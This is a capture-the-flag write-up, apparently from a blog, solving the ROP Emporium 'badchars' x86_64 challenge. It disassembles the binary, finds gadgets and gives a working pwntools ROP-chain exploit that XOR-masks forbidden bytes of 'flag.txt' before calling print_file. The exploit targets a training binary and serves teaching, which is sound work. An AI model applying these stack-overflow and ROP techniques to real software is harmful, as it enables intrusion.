Contents

Ropemporium x86_64 bad chars

bad chars

Introduction

The challenge is described on the ropemporium site : https://ropemporium.com/challenge/badchars.html with some useful indications.

The good, the bad

Dealing with bad characters is frequently necessary in exploit development, you’ve probably had to deal with them before while encoding shellcode. “Badchars” are the reason that encoders such as shikata-ga-nai exist. When constructing your ROP chain remember that the badchars apply to every character you use, not just parameters but addresses too. To mitigate the need for too much RE the binary will list its badchars when you run it. Options

ropper has a bad characters option to help you avoid using gadgets whose address will terminate your chain prematurely, it will certainly come in handy. Note that the amount of garbage data you’ll need to send to the ARM challenge is slightly different. Moar XOR

You’ll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Once your string is in memory and intact, just use the print_file() method to print the contents of the flag file, just like in the last challenge. Think about how we’re going to overcome the badchars issue; should we try to avoid them entirely, or could we use gadgets to change our string once it’s in memory? Helper functions

It’s almost certainly worth your time writing a helper function for this challenge. Perhaps one that takes as parameters a string, a desired location in memory and an array of badchars. It could then write the string into memory and deal with the badchars afterwards. There’s always a chance you could find a string that does what you want and doesn’t contain any badchars either.

Discovery

Launching the program :

05_badchars$ ./badchars
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> AAAAAA
Thank you!

Analyze

The main function call directly the pwnme function

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000400607 <+0>:	push   rbp
   0x0000000000400608 <+1>:	mov    rbp,rsp
   0x000000000040060b <+4>:	call   0x400500 <pwnme@plt>
   0x0000000000400610 <+9>:	mov    eax,0x0
   0x0000000000400615 <+14>:	pop    rbp
   0x0000000000400616 <+15>:	ret
End of assembler dump.

And the pwnme function is imported from libbadchars.so

The PLT entry :
Dump of assembler code for function pwnme@plt:
   0x0000000000400500 <+0>:	jmp    QWORD PTR [rip+0x200b12]        # 0x601018 <pwnme@got.plt>
   0x0000000000400506 <+6>:	push   0x0
   0x000000000040050b <+11>:	jmp    0x4004f0
End of assembler dump.

This time, the pwnme function controle the input with 4 characters forbidden : “xga.”

Looking at pwnme with radare2 :

[0x00000820]> s sym.pwnme
[0x000008fa]> pdf
┌ 269: sym.pwnme ();
; var ssize_t buf @ rbp-0x40
; var int64_t var_38h @ rbp-0x38
; var int64_t var_30h @ rbp-0x30
; var int64_t var_20h @ rbp-0x20
│           0x000008fa      55             push rbp
│           0x000008fb      4889e5         mov rbp, rsp
│           0x000008fe      4883ec40       sub rsp, 0x40
│           0x00000902      488b05cf0620.  mov rax, qword [reloc.stdout] ; [0x200fd8:8]=0
│           0x00000909      488b00         mov rax, qword [rax]
│           0x0000090c      b900000000     mov ecx, 0                  ; size_t size
│           0x00000911      ba02000000     mov edx, 2                  ; int mode
│           0x00000916      be00000000     mov esi, 0                  ; char *buf
│           0x0000091b      4889c7         mov rdi, rax                ; FILE*stream
│           0x0000091e      e8bdfeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x00000923      488d3d7a0100.  lea rdi, [0x00000aa4]       ; "badchars by ROP Emporium" ; const char *s
│           0x0000092a      e851feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000092f      488d3d870100.  lea rdi, str.x86_64_n       ; 0xabd ; "x86_64\n" ; const char *s
│           0x00000936      e845feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000093b      488d45c0       lea rax, [buf]
│           0x0000093f      4883c020       add rax, 0x20               ; "@"
│           0x00000943      ba20000000     mov edx, 0x20               ; "@" ; size_t n
│           0x00000948      be00000000     mov esi, 0                  ; int c
│           0x0000094d      4889c7         mov rdi, rax                ; void *s
│           0x00000950      e85bfeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│           0x00000955      488d3d6c0100.  lea rdi, str.badchars_are:_x__g__a__. ; 0xac8 ; "badchars are: 'x', 'g', 'a', '.'" ; const char *s
│           0x0000095c      e81ffeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00000961      488d3d810100.  lea rdi, [0x00000ae9]       ; "> " ; const char *format
│           0x00000968      b800000000     mov eax, 0
│           0x0000096d      e82efeffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00000972      488d45c0       lea rax, [buf]
│           0x00000976      4883c020       add rax, 0x20               ; "@"
│           0x0000097a      ba00020000     mov edx, 0x200              ; size_t nbyte
│           0x0000097f      4889c6         mov rsi, rax                ; void *buf
│           0x00000982      bf00000000     mov edi, 0                  ; int fildes
│           0x00000987      e834feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x0000098c      488945c0       mov qword [buf], rax
│           0x00000990      48c745c80000.  mov qword [var_38h], 0
│       ┌─< 0x00000998      eb51           jmp 0x9eb
│       │   ; CODE XREF from sym.pwnme @ 0x9f6
│      ┌──> 0x0000099a      48c745d00000.  mov qword [var_30h], 0
│     ┌───< 0x000009a2      eb31           jmp 0x9d5
│     │╎│   ; CODE XREF from sym.pwnme @ 0x9dd
│    ┌────> 0x000009a4      488b45c8       mov rax, qword [var_38h]
│    ╎│╎│   0x000009a8      0fb64c05e0     movzx ecx, byte [rbp + rax - 0x20]
│    ╎│╎│   0x000009ad      488b45d0       mov rax, qword [var_30h]
│    ╎│╎│   0x000009b1      488b15280620.  mov rdx, qword [reloc.badcharacters] ; [0x200fe0:8]=0
│    ╎│╎│   0x000009b8      0fb60402       movzx eax, byte [rdx + rax]
│    ╎│╎│   0x000009bc      38c1           cmp cl, al
│   ┌─────< 0x000009be      7509           jne 0x9c9
│   │╎│╎│   0x000009c0      488b45c8       mov rax, qword [var_38h]
│   │╎│╎│   0x000009c4      c64405e0eb     mov byte [rbp + rax - 0x20], 0xeb
│   │╎│╎│   ; CODE XREF from sym.pwnme @ 0x9be
│   └─────> 0x000009c9      488b45d0       mov rax, qword [var_30h]
│    ╎│╎│   0x000009cd      4883c001       add rax, 1
│    ╎│╎│   0x000009d1      488945d0       mov qword [var_30h], rax
│    ╎│╎│   ; CODE XREF from sym.pwnme @ 0x9a2
│    ╎└───> 0x000009d5      488b45d0       mov rax, qword [var_30h]
│    ╎ ╎│   0x000009d9      4883f803       cmp rax, 3
│    └────< 0x000009dd      76c5           jbe 0x9a4
│      ╎│   0x000009df      488b45c8       mov rax, qword [var_38h]
│      ╎│   0x000009e3      4883c001       add rax, 1
│      ╎│   0x000009e7      488945c8       mov qword [var_38h], rax
│      ╎│   ; CODE XREF from sym.pwnme @ 0x998
│      ╎└─> 0x000009eb      488b55c8       mov rdx, qword [var_38h]
│      ╎    0x000009ef      488b45c0       mov rax, qword [buf]
│      ╎    0x000009f3      4839c2         cmp rdx, rax
│      └──< 0x000009f6      72a2           jb 0x99a
│           0x000009f8      488d3ded0000.  lea rdi, str.Thank_you_     ; 0xaec ; "Thank you!" ; const char *s
│           0x000009ff      e87cfdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00000a04      90             nop
│           0x00000a05      c9             leave
└           0x00000a06      c3             ret
[0x000008fa]>

The bads characters are :

0x7fb56b800aa0 <badcharacters>:	0x78	0x67	0x61	0x2e

If one byte is a bad char it is changed by 0xeb

│    ╎│╎│   0x000009bc      38c1           cmp cl, al
│   ┌─────< 0x000009be      7509           jne 0x9c9
│   │╎│╎│   0x000009c0      488b45c8       mov rax, qword [var_38h]
│   │╎│╎│   0x000009c4      c64405e0eb     mov byte [rbp + rax - 0x20], 0xeb

If we try to apply write4 technic on this programm we will obtain :

badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
Failed to open file: fl\xeb\xeb\xebt\xebt

(the script is in the end of the post )

gef➤  disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:	push   rbp
   0x0000000000400618 <+1>:	mov    rbp,rsp
   0x000000000040061b <+4>:	mov    edi,0x4006c4
   0x0000000000400620 <+9>:	call   0x400510 <print_file@plt>
   0x0000000000400625 <+14>:	nop
   0x0000000000400626 <+15>:	pop    rbp
   0x0000000000400627 <+16>:	ret
End of assembler dump.

Some gadget are suggested to us :

[0x00400628]>  pd 8
            ;-- usefulGadgets:
            0x00400628      453037         xor byte [r15], r14b
            0x0040062b      c3             ret
            0x0040062c      450037         add byte [r15], r14b
            0x0040062f      c3             ret
            0x00400630      452837         sub byte [r15], r14b
            0x00400633      c3             ret
            0x00400634      4d896500       mov qword [r13], r12
            0x00400638      c3             ret

Identifying imported funtion in .plt section.

With r2

[0x00400520]> iS .plt~plt
10  0x000004a8   0x30 0x004004a8   0x30 -r-- .rela.plt
12  0x000004f0   0x30 0x004004f0   0x30 -r-x .plt
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt

[0x00400520]> pd 8 @0x004004f0
            ;-- section..plt:
            ;-- .plt:
            ; CODE XREF from sym.imp.pwnme @ +0xb
            ; CODE XREF from sym.imp.print_file @ +0xb
        ┌─> 0x004004f0      ff35120b2000   push qword [0x00601008]     ; [12] -r-x section size 48 named .plt
        ╎   0x004004f6      ff25140b2000   jmp qword [0x00601010]      ; [0x601010:8]=0
        ╎   0x004004fc      0f1f4000       nop dword [rax]
; CALL XREF from main @ 0x40060b
┌ 6: sym.imp.pwnme ();
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
└       ╎   0x00400500      ff25120b2000   jmp qword [reloc.pwnme]     ; [0x601018:8]=0x400506
        ╎   0x00400506      6800000000     push 0
        └─< 0x0040050b      e9e0ffffff     jmp sym..plt
            ; CALL XREF from sym.usefulFunction @ 0x400620
┌ 6: sym.imp.print_file ();
│ bp: 0 (vars 0, args 0)
│ sp: 0 (vars 0, args 0)
│ rg: 0 (vars 0, args 0)
└           0x00400510      ff250a0b2000   jmp qword [reloc.print_file] ; [0x601020:8]=0x400516
            0x00400516      6801000000     push 1                      ; 1

Find a writable memory section

05_badchars# rabin2 -S badchars
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ----
1   0x00000238   0x1c 0x00400238   0x1c -r-- .interp
2   0x00000254   0x20 0x00400254   0x20 -r-- .note.ABI-tag
3   0x00000274   0x24 0x00400274   0x24 -r-- .note.gnu.build-id
4   0x00000298   0x38 0x00400298   0x38 -r-- .gnu.hash
5   0x000002d0   0xf0 0x004002d0   0xf0 -r-- .dynsym
6   0x000003c0   0x7e 0x004003c0   0x7e -r-- .dynstr
7   0x0000043e   0x14 0x0040043e   0x14 -r-- .gnu.version
8   0x00000458   0x20 0x00400458   0x20 -r-- .gnu.version_r
9   0x00000478   0x30 0x00400478   0x30 -r-- .rela.dyn
10  0x000004a8   0x30 0x004004a8   0x30 -r-- .rela.plt
11  0x000004d8   0x17 0x004004d8   0x17 -r-x .init
12  0x000004f0   0x30 0x004004f0   0x30 -r-x .plt
13  0x00000520  0x192 0x00400520  0x192 -r-x .text
14  0x000006b4    0x9 0x004006b4    0x9 -r-x .fini
15  0x000006c0   0x10 0x004006c0   0x10 -r-- .rodata
16  0x000006d0   0x44 0x004006d0   0x44 -r-- .eh_frame_hdr
17  0x00000718  0x120 0x00400718  0x120 -r-- .eh_frame
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss
25  0x00001038   0x29 0x00000000   0x29 ---- .comment
26  0x00001068  0x618 0x00000000  0x618 ---- .symtab
27  0x00001680  0x1f8 0x00000000  0x1f8 ---- .strtab
28  0x00001878  0x103 0x00000000  0x103 ---- .shstrtab

We can try .bss : 0x00601038

looking for gadgets :

05_badchars# ROPgadget --binary badchars |grep "pop r14"
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret


0x00000000004006a2 : pop r15 ; ret

05_badchars# ROPgadget --binary badchars |grep "xor"
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret

05_badchars# grep "pop rdi" ropgadget.txt
0x04006a3 : pop rdi ; ret


write in memory
0x0000000000400634 : mov qword ptr [r13], r12 ; ret

Building the ropchaine

As for write4 we can write “flag.txt” in memory en then call print_file

But the 3 forbiddent chars have to be changes. The classical technic is to put the bad chr xored with a mask and in a second stage xor the data in memory with the same mask

Here xga. must be xored.

flag.txt 00111010

we can make a function xorchain(string, filter, mask) : xor the bytes seleted by a filter (mask too sorry) and with a xor mask value.

xorchain(“flag.txt”,“00111010”, 3)

Return

  • flag.txt masked
  • the ropchain

We can do that with the “xor byte ptr [r15], r14b ; ret” gadget.

This gadget allow to xor one byte each time, the we will apply it 4 times.

ropchaine synoptic

Ecriture du nom de fichier modifié.

  • pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  • xoredflag
  • @bss
  • 3
  • @bss+2
  • mov qword ptr [r13], r12 ; ret

xor de .bss+2

  • xor byte ptr [r15], r14b ; ret
  • pop r15

xor de .bss+3

  • @bss+3
  • xor byte ptr [r15], r14b ; ret
  • pop r15

xor de .bss+4

  • @bss+4
  • xor byte ptr [r15], r14b ; ret

xor de .bss+4

  • pop r15
  • @bss+6
  • xor byte ptr [r15], r14b ; ret

Appel de print_file(@bss)

  • pop rdi
  • @bss
  • print_file

Exploitation

Python script

Below, the exploitation python script

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
import sys

# break apres le read dans pwnme
gs='''
b *pwnme+150
c
'''

# Gadgets
# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop_r12345=0x40069c
# 0x00000000004006a2 : pop r15 ; ret
pop_r15 = 0x4006a2
#0x400634 : mov qword ptr [r13], r12 ; ret
write_r13r12=0x400634
# pop rdi ; ret
pop_rdi = 0x4006a3
#0x0000000000400628 : xor byte ptr [r15], r14b ; ret
xor_r15 = 0x400628

def w_write(addr, data):
    r=b""
    if type(data) == str:
        data=data.encode()
    for i in range(0,len(data),8):
        r += p64(pop_r1415)
        r += p64(addr)
        r += data[i:i+8]
        r += p64(write_r14)
    return r


def xorchain(chain, bytes, mask):
    r=b""
    for i,c in enumerate(chain):
        if bytes&0x80:
            c=c^mask
        r+=chr(c).encode()
        bytes= bytes<<1
    return r

# Offset avant ecrasement de l'adresse de retour
offset=0x28

# Set up pwntools for the correct architecture
elf =  ELF('badchars')
context.binary=elf

print_file=elf.plt['print_file']

bss = 0x00601038

flagxored = xorchain(b"flag.txt",0b00111010,3)

PL =b"A"*offset
PL+=p64(pop_r12345)
PL+=flagxored
PL+=p64(bss)
PL+=p64(3)
PL+=p64(bss+2)
PL+=p64(write_r13r12)

PL+=p64(xor_r15)

PL+=p64(pop_r15)
PL+=p64(bss+3)
PL+=p64(xor_r15)

PL+=p64(pop_r15)
PL+=p64(bss+4)
PL+=p64(xor_r15)

PL+=p64(pop_r15)
PL+=p64(bss+6)
PL+=p64(xor_r15)

PL+=p64(pop_rdi)
PL+=p64(bss)
PL+=p64(print_file)

io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
    gdb.attach(io,gs)
    time.sleep(1)
    #io = gdb.debug([elf.path],gdbscript=gs)

# io.recvuntil(b"> ")
io.sendline(PL)
io.interactive()

Execution

05_badchars# python3 solve.py
[*] '/w/ropemporium/x64/05_badchars/badchars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[+] Starting local process '/w/ropemporium/x64/05_badchars/badchars': pid 72
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

Annexe

Python script applying write4 method

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
import sys

# Attaque naive de badchars avec l'approche de write4
# break apres le read dans pwnme
gs='''
b *pwnme+268
c
'''

# Gadgets
# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop_r12345=0x40069c
# mov qword ptr [r13], r12 ; ret
write_r13r12=0x400634
# pop rdi ; ret
pop_rdi = 0x4006a3

def w_write(addr, data):
    r=b""
    if type(data) == str:
        data=data.encode()
    for i in range(0,len(data),8):
        r += p64(pop_r12345)
        r += data[i:i+8]
        r += p64(addr+i)
        r += p64(0)
        r += p64(0)
        r += p64(write_r13r12)
    return r


def xorchain(chain, bytes, mask):
    r=b""
    for i,c in enumerate(chain):
        if bytes&0x80:
            c=c^mask
        r+=chr(c).encode()
        bytes= bytes<<1
    return r

# Offset avant ecrasement de l'adresse de retour
offset=0x28

# Set up pwntools for the correct architecture
elf =  ELF('badchars')
context.binary=elf

print_file=elf.plt['print_file']

bss = 0x00601038

PL =b"A"*offset
PL+=w_write(bss,"flag.txt")
PL+=p64(pop_rdi)
PL+=p64(bss)
PL+=p64(print_file)

io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)

# io.recvuntil(b"> ")
io.sendline(PL)
io.interactive()